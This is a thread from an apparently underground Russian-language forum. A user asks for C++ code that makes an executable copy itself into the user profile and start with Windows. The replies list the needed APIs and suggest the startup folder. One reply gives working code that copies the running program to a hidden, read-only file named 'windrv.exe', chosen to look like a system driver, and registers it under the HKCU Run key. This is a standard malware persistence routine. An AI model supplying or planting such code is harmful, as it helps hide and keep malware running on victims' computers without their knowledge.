What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Нужна помощь с добавлением в автозагрузку файла [C++]

Russian_Coder

Midle Weight
Депозит
$0
У кого есть кусок кода на с++ который добавляет в автозагрузку Windows файлы?
нужна такая схематика чтобы после запуска файла он копировал себя в appdata к примеру и от туда уже прописывался в автозагрузку, буду очень благодарен кто поможет!
 
В чем проблема самому реализовать? CopyFile - вот тебе апи для копирования, SHGetFolderLocation - для поиска аппдаты, GetModuleFileName - получения пути текущего процесса. Флаг в руки!
 
Могу дополнить, метод более простой, берешь и копируешь свой файлик в shell:startup. И все. Лучше задействуй оба способа, безотказно сработает
 
HKEY hndKey = NULL;

WCHAR wszSelfName[MAX_PATH];
WCHAR wszUserProfile[MAX_PATH];
WCHAR wszSaveUserProfile[MAX_PATH];

GetModuleFileNameW(NULL, wszSelfName, _countof(wszSelfName));

ExpandEnvironmentStringsW(L"%userprofile%", wszUserProfile, _countof(wszUserProfile));

wsprintfW(wszSaveUserProfile, L"%s\\windrv.exe", wszUserProfile);

if (CopyFileW(wszSelfName, wszSaveUserProfile, FALSE))
{
SetFileAttributesW(wszSaveUserProfile, FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_HIDDEN);

if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, KEY_WRITE, &hndKey) == ERROR_SUCCESS)
{
RegSetValueExW(hndKey, cfg_regname, 0, REG_SZ, (BYTE *)wszSaveUserProfile, (wcslen(wszSaveUserProfile) + 1) * 2);

RegCloseKey(hndKey);
}
}
 
Top